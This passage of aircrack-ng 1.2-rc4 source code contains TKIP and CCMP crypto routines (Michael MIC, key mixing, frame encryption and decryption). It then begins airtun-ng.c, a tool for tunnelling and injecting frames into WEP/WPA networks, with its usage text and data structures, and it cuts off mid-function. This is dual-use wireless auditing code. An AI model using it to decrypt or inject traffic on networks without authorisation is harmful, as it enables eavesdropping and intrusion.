value[8]) { int z, koffset=0, is_qos=0; unsigned char smac[6], dmac[6], bssid[6]; unsigned char prio[4]; struct Michael mic; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length < z) return 0; /* Check if 802.11e (QoS) */ if( (packet[0] & 0x80) == 0x80) { z+=2; is_qos = 1; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); koffset = 48+8; break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); koffset = 48; break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } if(koffset != 48 && koffset != 48+8) return 1; init_michael(&mic, ptk+koffset); michael_append(&mic, dmac, 6); michael_append(&mic, smac, 6); memset(prio, 0, 4); if(is_qos) { prio[0] = packet[z-2] & 0x0f; } michael_append(&mic, prio, 4); michael_append(&mic, packet+z, length - z); michael_finalize(&mic); memcpy(value, mic.mic, 8); return 0; } const short TkipSbox[2][256]= { { 0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154, 0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A, 0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B, 0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B, 0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F, 0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F, 0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5, 0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F, 0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB, 0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397, 0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED, 0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A, 0xBB6B, 0xC52A, 0x4FE5, 0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194, 0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3, 0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104, 0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D, 0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39, 0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695, 0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83, 0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76, 0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4, 0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B, 0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0, 0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018, 0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751, 0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85, 0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12, 0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9, 0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7, 0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A, 0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8, 0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A }, { 0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491, 0x5060, 0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC, 0x458F, 0x9D1F, 0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB, 0xEC41, 0x67B3, 0xFD5F, 0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B, 0xC275, 0x1CE1, 0xAE3D, 0x6A4C, 0x5A6C, 0x417E, 0x02F5, 0x4F83, 0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2, 0x73AB, 0x5362, 0x3F2A, 0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137, 0x0F0A, 0xB52F, 0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F, 0x9FEA, 0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B, 0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713, 0xF5A6, 0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6, 0xBED4, 0x468D, 0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85, 0x6BBB, 0x2AC5, 0xE54F, 0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411, 0xCF8A, 0x10E9, 0x0604, 0x81FE, 0xF0A0, 0x4478, 0xBA25, 0xE34B, 0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F, 0xBC21, 0x4870, 0x04F1, 0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5, 0x0EFD, 0x6DBF, 0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88, 0x392E, 0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6, 0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B, 0xCA8C, 0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD, 0x3BDB, 0x5664, 0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8, 0x5D9F, 0x6EBD, 0xEF43, 0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2, 0x32D5, 0x438B, 0x596E, 0xB7DA, 0x8C01, 0x64B1, 0xD29C, 0xE049, 0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA, 0x8EF4, 0xE947, 0x1810, 0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157, 0xC773, 0x5197, 0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D, 0x850F, 0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C, 0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927, 0x38D9, 0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733, 0xB62D, 0x223C, 0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5, 0x8F03, 0xF859, 0x8009, 0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0, 0xC382, 0xB029, 0x775A, 0x111E, 0xCB7B, 0xFCA8, 0xD66D, 0x3A2C } }; /* TKIP (RC4 + key mixing) decryption routine */ #define ROTR1(x) ((((x) >> 1) & 0x7FFF) ^ (((x) & 1) << 15)) #define LO8(x) ( (x) & 0x00FF ) #define LO16(x) ( (x) & 0xFFFF ) #define HI8(x) ( ((x) >> 8) & 0x00FF ) #define HI16(x) ( ((x) >> 16) & 0xFFFF ) #define MK16(hi,lo) ( (lo) ^ ( LO8(hi) << 8 ) ) #define TK16(N) MK16(TK1[2*(N)+1],TK1[2*(N)]) #define _S_(x) (TkipSbox[0][LO8(x)] ^ TkipSbox[1][HI8(x)]) int calc_tkip_ppk( unsigned char *h80211, int caplen, unsigned char TK1[16], unsigned char key[16] ) { int i, z; uint32_t IV32; uint16_t IV16; uint16_t PPK[6]; if(caplen) {} z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { z += 2; } IV16 = MK16( h80211[z], h80211[z + 2] ); IV32 = ( h80211[z + 4] ) | ( h80211[z + 5] << 8 ) | ( h80211[z + 6] << 16 ) | ( h80211[z + 7] << 24 ); PPK[0] = LO16( IV32 ); PPK[1] = HI16( IV32 ); PPK[2] = MK16( h80211[11], h80211[10] ); PPK[3] = MK16( h80211[13], h80211[12] ); PPK[4] = MK16( h80211[15], h80211[14] ); for( i = 0; i < 8; i++ ) { PPK[0] += _S_( PPK[4] ^ TK16( (i & 1) + 0 ) ); PPK[1] += _S_( PPK[0] ^ TK16( (i & 1) + 2 ) ); PPK[2] += _S_( PPK[1] ^ TK16( (i & 1) + 4 ) ); PPK[3] += _S_( PPK[2] ^ TK16( (i & 1) + 6 ) ); PPK[4] += _S_( PPK[3] ^ TK16( (i & 1) + 0 ) ) + i; } PPK[5] = PPK[4] + IV16; PPK[0] += _S_( PPK[5] ^ TK16(0) ); PPK[1] += _S_( PPK[0] ^ TK16(1) ); PPK[2] += _S_( PPK[1] ^ TK16(2) ); PPK[3] += _S_( PPK[2] ^ TK16(3) ); PPK[4] += _S_( PPK[3] ^ TK16(4) ); PPK[5] += _S_( PPK[4] ^ TK16(5) ); PPK[0] += ROTR1( PPK[5] ^ TK16(6) ); PPK[1] += ROTR1( PPK[0] ^ TK16(7) ); PPK[2] += ROTR1( PPK[1] ); PPK[3] += ROTR1( PPK[2] ); PPK[4] += ROTR1( PPK[3] ); PPK[5] += ROTR1( PPK[4] ); key[0] = HI8( IV16 ); key[1] = ( HI8( IV16 ) | 0x20 ) & 0x7F; key[2] = LO8( IV16 ); key[3] = LO8( (PPK[5] ^ TK16(0) ) >> 1); for( i = 0; i < 6; i++ ) { key[4 + ( 2 * i)] = LO8( PPK[i] ); key[5 + ( 2 * i)] = HI8( PPK[i] ); } return 0; } int decrypt_tkip( unsigned char *h80211, int caplen, unsigned char TK1[16] ) { unsigned char K[16]; int z; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) { z += 2; } calc_tkip_ppk( h80211, caplen, TK1, K ); return( decrypt_wep( h80211 + z + 8, caplen - z - 8, K, 16 ) ); } /* CCMP (AES-CTR-MAC) decryption routine */ static inline void XOR( unsigned char *dst, unsigned char *src, int len ) { int i; for( i = 0; i < len; i++ ) dst[i] ^= src[i]; } // Important documents for the implementation of encrypt_ccmp() and // decrypt_ccmp(): // // * RFC 3610 Counter with CBC-MAC (CCM) // https://www.ietf.org/rfc/rfc3610.txt // // * IEEE 802.11(TM)-2012 // http://standards.ieee.org/about/get/802/802.11.html // // Note: RFC uses the abbriviation MAC (Message Authentication Code, or // value U in the RFC). It is the same as IEEE's MIC (Message // Integrity Code) // encrypt_ccmp() takes an h80211 frame and encrypts it in-place using CCMP. // This results in a frame that is 16 bytes longer than the original, take this // into account when allocating h80211! encrypt() returns the new length (and // thus the offset where the caller needs to write the FCS). // caplen is the combined length of the 802.11 header and data, not the FCS! int encrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16], unsigned char PN[6] ) { int is_a4, i, n, z, blocks, is_qos; int data_len, last, offset; unsigned char B0[16], B[16], MIC[16]; unsigned char AAD[32]; AES_KEY aes_ctx; is_a4 = ( h80211[1] & 3 ) == 3; is_qos = ( h80211[0] & 0x8C ) == 0x88; z = 24 + 6 * is_a4; z += 2 * is_qos; // Insert CCMP header memmove( h80211+z+8, h80211+z, caplen-z ); h80211[z + 0] = PN[5]; h80211[z + 1] = PN[4]; h80211[z + 2] = 0x00; // Reserved -> 0 h80211[z + 3] = 0x20; // ExtIV=1, KeyID=0 h80211[z + 4] = PN[3]; h80211[z + 5] = PN[2]; h80211[z + 6] = PN[1]; h80211[z + 7] = PN[0]; data_len = caplen - z; // B_0 := B0 B0[0] = 0x59; // Flags B0[1] = 0; // Nonce := CCM Nonce: - Nonce flags memcpy( B0 + 2, h80211 + 10, 6 ); // - A2 memcpy( B0 + 8, PN, 6 ); // - PN B0[14] = ( data_len >> 8 ) & 0xFF; // l(m) B0[15] = ( data_len & 0xFF ); // l(m) // B_1 := AAD[ 0..15] // B_2 := AAD[16..31] // AAD[ 0.. 1] = l(a) // AAD[ 2..31] = a memset( AAD, 0, sizeof( AAD ) ); AAD[2] = h80211[0] & 0x8F; // AAD[2..3] = FC AAD[3] = h80211[1] & 0xC7; // memcpy( AAD + 4, h80211 + 4, 3 * 6 ); // AAD[4..21] = [A1,A2,A3] AAD[22] = h80211[22] & 0x0F; // AAD[22] = SC if( is_a4 ) { memcpy( AAD + 24, h80211 + 24, 6 ); // AAD[24..29] = A4 if( is_qos ) { AAD[30] = h80211[z - 2] & 0x0F; // AAD[30..31] = QC AAD[31] = 0; // B0[1] = AAD[30]; // B0[ 1] = CCM Nonce flags AAD[1] = 22 + 2 + 6; // AAD[ 0.. 1] = l(a) } else { memset(&AAD[30], 0, 2); // AAD[30..31] = QC B0[1] = 0; // B0[ 1] = CCM Nonce flags AAD[1] = 22 + 6; // AAD[ 0.. 1] = l(a) } } else { if( is_qos ) { AAD[24] = h80211[z - 2] & 0x0F; // AAD[24..25] = QC AAD[25] = 0; // B0[1] = AAD[24]; // B0[ 1] = CCM Nonce flags AAD[1] = 22 + 2; // AAD[ 0.. 1] = l(a) } else { memset(&AAD[24], 0, 2); // AAD[24..25] = QC B0[1] = 0; // B0[ 1] = CCM Nonce flags AAD[1] = 22; // AAD[ 0.. 1] = l(a) } } AES_set_encrypt_key( TK1, 128, &aes_ctx ); AES_encrypt( B0, MIC, &aes_ctx ); // X_1 := E( K, B_0 ) XOR( MIC, AAD, 16 ); // X_2 := E( K, X_1 XOR B_1 ) AES_encrypt( MIC, MIC, &aes_ctx ); // XOR( MIC, AAD + 16, 16 ); // X_3 := E( K, X_2 XOR B_2 ) AES_encrypt( MIC, MIC, &aes_ctx ); // // A_i := B0 // B0[ 0] = Flags // B0[ 1..13] = Nonce := CCM Nonce // B0[14..15] = i B0[0] &= 0x07; B0[14] = B0[15] = 0; AES_encrypt( B0, B, &aes_ctx ); // S_0 := E( K, A_i ) memcpy( h80211+z+8+data_len, B, 8 ); // ^^^^^^^^^^^^^^^^^^^ ^ // S_0[0..7]/future U S_0 blocks = ( data_len + 16 - 1 ) / 16; last = data_len % 16; offset = z + 8; for( i = 1; i <= blocks; i++ ) { n = ( last > 0 && i == blocks ) ? last : 16; XOR( MIC, h80211 + offset, n ); // X_i+3 := E( K, X_i+2 XOR B_i+2 ) AES_encrypt( MIC, MIC, &aes_ctx ); // // (X_i+2 ^^^)(^^^ X_i+3) // The message is encrypted by XORing the octets of message m with the // first l(m) octets of the concatenation of S_1, S_2, S_3, ... . B0[14] = ( i >> 8 ) & 0xFF; // A_i[14..15] = i B0[15] = i & 0xFF; // AES_encrypt( B0, B, &aes_ctx ); // S_i := E( K, A_i ) XOR( h80211 + offset, B, n ); // [B_3, ..., B_n] := m offset += n; } // We need to free the ctx when using gcrypt to avoid memory leaks #ifdef USE_GCRYPT gcry_cipher_close(aes_ctx); #endif // T := X_i+3[ 0.. 7] // U := T XOR S_0[ 0.. 7] XOR( h80211+offset, MIC, 8 ); return z+8+data_len+8; } int decrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16] ) { int is_a4, i, n, z, blocks, is_qos; int data_len, last, offset; unsigned char B0[16], B[16], MIC[16]; unsigned char PN[6], AAD[32]; AES_KEY aes_ctx; is_a4 = ( h80211[1] & 3 ) == 3; is_qos = ( h80211[0] & 0x8C ) == 0x88; z = 24 + 6 * is_a4; z += 2 * is_qos; PN[0] = h80211[z + 7]; PN[1] = h80211[z + 6]; PN[2] = h80211[z + 5]; PN[3] = h80211[z + 4]; PN[4] = h80211[z + 1]; PN[5] = h80211[z + 0]; data_len = caplen - z - 8 - 8; // B_0 := B0 B0[0] = 0x59; // Flags B0[1] = 0; // Nonce := CCM Nonce: - Nonce flags memcpy( B0 + 2, h80211 + 10, 6 ); // - A2 memcpy( B0 + 8, PN, 6 ); // - PN B0[14] = ( data_len >> 8 ) & 0xFF; // l(m) B0[15] = ( data_len & 0xFF ); // l(m) // B_1 := AAD[ 0..15] // B_2 := AAD[16..31] // AAD[ 0.. 1] = l(a) // AAD[ 2..31] = a memset( AAD, 0, sizeof( AAD ) ); AAD[2] = h80211[0] & 0x8F; // AAD[2..3] = FC AAD[3] = h80211[1] & 0xC7; // memcpy( AAD + 4, h80211 + 4, 3 * 6 ); // AAD[4..21] = [A1,A2,A3] AAD[22] = h80211[22] & 0x0F; // AAD[22] = SC if( is_a4 ) { memcpy( AAD + 24, h80211 + 24, 6 ); // AAD[24..29] = A4 if( is_qos ) { AAD[30] = h80211[z - 2] & 0x0F; // AAD[30..31] = QC AAD[31] = 0; // B0[1] = AAD[30]; // B0[ 1] = CCM Nonce flags AAD[1] = 22 + 2 + 6; // AAD[ 0.. 1] = l(a) } else { memset(&AAD[30], 0, 2); // AAD[30..31] = QC B0[1] = 0; // B0[ 1] = CCM Nonce flags AAD[1] = 22 + 6; // AAD[ 0.. 1] = l(a) } } else { if( is_qos ) { AAD[24] = h80211[z - 2] & 0x0F; // AAD[24..25] = QC AAD[25] = 0; // B0[1] = AAD[24]; // B0[ 1] = CCM Nonce flags AAD[1] = 22 + 2; // AAD[ 0.. 1] = l(a) } else { memset(&AAD[24], 0, 2); // AAD[24..25] = QC B0[1] = 0; // B0[ 1] = CCM Nonce flags AAD[1] = 22; // AAD[ 0.. 1] = l(a) } } AES_set_encrypt_key( TK1, 128, &aes_ctx ); AES_encrypt( B0, MIC, &aes_ctx ); // X_1 := E( K, B_0 ) XOR( MIC, AAD, 16 ); // X_2 := E( K, X_1 XOR B_1 ) AES_encrypt( MIC, MIC, &aes_ctx ); // XOR( MIC, AAD + 16, 16 ); // X_3 := E( K, X_2 XOR B_2 ) AES_encrypt( MIC, MIC, &aes_ctx ); // // A_i := B0 // B0[ 0] = Flags // B0[ 1..13] = Nonce := CCM Nonce // B0[14..15] = i B0[0] &= 0x07; B0[14] = B0[15] = 0; AES_encrypt( B0, B, &aes_ctx ); // S_0 := E( K, A_i ) XOR( h80211 + caplen - 8, B, 8 ); // T := U XOR S_0[0..7] // ^^^^^^^^^^^^^^^ ^ // U:=MIC -> T S_0 blocks = ( data_len + 16 - 1 ) / 16; last = data_len % 16; offset = z + 8; for( i = 1; i <= blocks; i++ ) { n = ( last > 0 && i == blocks ) ? last : 16; B0[14] = ( i >> 8 ) & 0xFF; // A_i[14..15] = i B0[15] = i & 0xFF; // AES_encrypt( B0, B, &aes_ctx ); // S_i := E( K, A_i ) // The message is encrypted by XORing the octets of message m with the // first l(m) octets of the concatenation of S_1, S_2, S_3, ... . XOR( h80211 + offset, B, n ); // [B_3, ..., B_n] := m XOR( MIC, h80211 + offset, n ); // X_i+3 := E( K, X_i+2 XOR B_i+2 ) AES_encrypt( MIC, MIC, &aes_ctx ); // // (X_i+2 ^^^)(^^^ X_i+3) offset += n; } // We need to free the ctx when using gcrypt to avoid memory leaks #ifdef USE_GCRYPT gcry_cipher_close(aes_ctx); #endif // T := X_n[ 0.. 7] // Note: Decryption is succesful if calculated T is the same as the one // that was sent with the message. return( memcmp( h80211 + offset, MIC, 8 ) == 0 ); } /* ********************************************************************** * Routine: Phase 1 -- generate P1K, given TA, TK, IV32 * * Inputs: * TK[] = Temporal Key [128 bits] * TA[] = transmitter's MAC address [ 48 bits] * IV32 = upper 32 bits of IV [ 32 bits] * Output: * P1K[] = Phase 1 key [ 80 bits] * * Note: * This function only needs to be called every 2**16 frames, * although in theory it could be called every frame. * ********************************************************************** */ // void Phase1(u16b *P1K,const byte *TK,const byte *TA,u32b IV32) // { // int i; // /* Initialize the 80 bits of P1K[] from IV32 and TA[0..5] */ // P1K[0] = Lo16(IV32); // P1K[1] = Hi16(IV32); // P1K[2] = Mk16(TA[1],TA[0]); /* use TA[] as little-endian */ // P1K[3] = Mk16(TA[3],TA[2]); // P1K[4] = Mk16(TA[5],TA[4]); // /* Now compute an unbalanced Feistel cipher with 80-bit block */ // /* size on the 80-bit block P1K[], using the 128-bit key TK[] */ // for (i=0; i < PHASE1_LOOP_CNT ;i++) // { /* Each add operation here is mod 2**16 */ // P1K[0] += _S_(P1K[4] ^ TK16((i&1)+0)); // P1K[1] += _S_(P1K[0] ^ TK16((i&1)+2)); // P1K[2] += _S_(P1K[1] ^ TK16((i&1)+4)); // P1K[3] += _S_(P1K[2] ^ TK16((i&1)+6)); // P1K[4] += _S_(P1K[3] ^ TK16((i&1)+0)); // P1K[4] += i; /* avoid "slide attacks" */ // } // } /* ********************************************************************** * Routine: Phase 2 -- generate RC4KEY, given TK, P1K, IV16 * * Inputs: * TK[] = Temporal Key [128 bits] * P1K[] = Phase 1 output key [ 80 bits] * IV16 = low 16 bits of IV counter [ 16 bits] * Output: * RC4KEY[] = the key used to encrypt the frame [128 bits] * * Note: * The value {TA,IV32,IV16} for Phase1/Phase2 must be unique * across all frames using the same key TK value. Then, for a * given value of TK[], this TKIP48 construction guarantees that * the final RC4KEY value is unique across all frames. * * Suggested implementation optimization: if PPK[] is "overlaid" * appropriately on RC4KEY[], there is no need for the final * for loop below that copies the PPK[] result into RC4KEY[]. * ********************************************************************** */ // void Phase2(byte *RC4KEY,const byte *TK,const u16b *P1K,u16b IV16) // { // int i; // u16b PPK[6]; /* temporary key for mixing */ // /* all adds in the PPK[] equations below are mod 2**16 */ // for (i=0;i<5;i++) PPK[i]=P1K[i]; /* first, copy P1K to PPK */ // PPK[5] = P1K[4] + IV16; /* next, add in IV16 */ // /* Bijective non-linear mixing of the 96 bits of PPK[0..5] */ // PPK[0] += _S_(PPK[5] ^ TK16(0)); /* Mix key in each "round" */ // PPK[1] += _S_(PPK[0] ^ TK16(1)); // PPK[2] += _S_(PPK[1] ^ TK16(2)); // PPK[3] += _S_(PPK[2] ^ TK16(3)); // PPK[4] += _S_(PPK[3] ^ TK16(4)); // PPK[5] += _S_(PPK[4] ^ TK16(5)); /* Total # S-box lookups == 6 */ // /* Final sweep: bijective, linear. Rotates kill LSB correlations */ // PPK[0] += RotR1(PPK[5] ^ TK16(6)); // PPK[1] += RotR1(PPK[0] ^ TK16(7)); /* Use all of TK[] in Phase2 */ // PPK[2] += RotR1(PPK[1]); // PPK[3] += RotR1(PPK[2]); // PPK[4] += RotR1(PPK[3]); // PPK[5] += RotR1(PPK[4]); // /* At this point, for a given key TK[0..15], the 96-bit output */ // /* value PPK[0..5] is guaranteed to be unique, as a function */ // /* of the 96-bit "input" value {TA,IV32,IV16}. That is, P1K */ // /* is now a keyed permutation of {TA,IV32,IV16}. */ // /* Set RC4KEY[0..3], which includes cleartext portion of RC4 key */ // RC4KEY[0] = Hi8(IV16); /* RC4KEY[0..2] is the WEP IV */ // RC4KEY[1] =(Hi8(IV16) | 0x20) & 0x7F; /* Help avoid FMS weak keys */ // RC4KEY[2] = Lo8(IV16); // RC4KEY[3] = Lo8((PPK[5] ^ TK16(0)) >> 1); // /* Copy 96 bits of PPK[0..5] to RC4KEY[4..15] (little-endian) */ // for (i=0;i<6;i++) // { // RC4KEY[4+2*i] = Lo8(PPK[i]); // RC4KEY[5+2*i] = Hi8(PPK[i]); // } // } aircrack-ng-1.2-rc4/src/airtun-ng.c0000644000000000000000000015610012660207441015565 0ustar rootroot/* * 802.11 WEP network connection tunneling * based on aireplay-ng * * Copyright (C) 2006-2016 Thomas d'Otreppe * Copyright (C) 2006-2009 Martin Beck * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifdef linux #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "crypto.h" #include "common.h" #include "osdep/osdep.h" static struct wif *_wi_in, *_wi_out; #define CRYPT_NONE 0 #define CRYPT_WEP 1 #define CRYPT_WPA 2 //if not all fragments are available 60 seconds after the last fragment was received, they will be removed #define FRAG_TIMEOUT (1000000*60) extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int add_crc32(unsigned char* data, int length); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; char usage[] = "\n" " %s - (C) 2006-2015 Thomas d'Otreppe\n" " Original work: Martin Beck\n" " http://www.aircrack-ng.org\n" "\n" " usage: airtun-ng \n" "\n" " -x nbpps : number of packets per second (default: 100)\n" " -a bssid : set Access Point MAC address\n" " In WDS Mode this sets the Receiver\n" " -i iface : capture packets from this interface\n" " -y file : read PRGA from this file\n" " -w wepkey : use this WEP-KEY to encrypt packets\n" " -p pass : use this WPA passphrase to decrypt packets\n" " (use with -a and -e)\n" " -e essid : target network SSID (use with -p)\n" " -t tods : send frames to AP (1) or to client (0)\n" " or tunnel them into a WDS/Bridge (2)\n" " -r file : read frames out of pcap file\n" " -h MAC : source MAC address\n" "\n" " WDS/Bridge Mode options:\n" " -s transmitter : set Transmitter MAC address for WDS Mode\n" " -b : bidirectional mode. This enables communication\n" " in Transmitter's AND Receiver's networks.\n" " Works only if you can see both stations.\n" "\n" " Repeater options:\n" " --repeat : activates repeat mode\n" " --bssid : BSSID to repeat\n" " --netmask : netmask for BSSID filter\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_trans[6]; unsigned char f_bssid[6]; unsigned char f_netmask[6]; char *s_face; char *s_file; unsigned char *prga; int r_nbpps; int prgalen; int tods; int bidir; char essid[36]; char passphrase[65]; unsigned char pmk[40]; unsigned char wepkey[64]; int weplen, crypt; int repeat; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; struct tif *dv_ti; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; struct ARP_req { unsigned char *buf; int len; }; typedef struct Fragment_list* pFrag_t; struct Fragment_list { unsigned char source[6]; unsigned short sequence; unsigned char* fragment[16]; short fragmentlen[16]; char fragnum; unsigned char* header; short headerlen; struct timeval access; char wep; pFrag_t next; }; struct net_entry { unsigned char *addr; unsigned char net; struct net_entry *next; }; unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; struct net_entry *nets = NULL; struct WPA_ST_info *st_1st = NULL; unsigned char ZERO[32]; int ctrl_c, alarmed; char * iwpriv; pFrag_t rFragment; struct net_entry *find_entry(unsigned char *adress) { struct net_entry *cur = nets; if (cur == NULL) return NULL; do { if (! memcmp(cur->addr, adress, 6)) { return cur; } cur = cur->next; } while (cur != nets); return NULL; } void set_entry(unsigned char *adress, unsigned char network) { struct net_entry *cur; if( nets == NULL ) { nets = malloc(sizeof(struct net_entry)); nets->addr = malloc(6 * sizeof(unsigned char)); nets->next = nets; cur = nets; } else { cur = find_entry(adress); if (cur == NULL) { cur = malloc(sizeof(struct net_entry)); cur->addr = malloc(6 * sizeof(unsigned char)); cur->next = nets->next; nets->next = cur; } } memcpy(cur->addr, adress, 6); cur->net = network; } int get_entry(unsigned char *adress) { struct net_entry *cur = find_entry(adress); if (cur == NULL) { return -1; } else { return cur->net; } } void swap_ra_ta(unsigned char *h80211) { unsigned char mbuf[6]; memcpy(mbuf , h80211+ 4, 6); memcpy(h80211+ 4, h80211+10, 6); memcpy(h80211+10, mbuf , 6); } void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int addFrag(unsigned char* packet, unsigned char* smac, int len) { pFrag_t cur 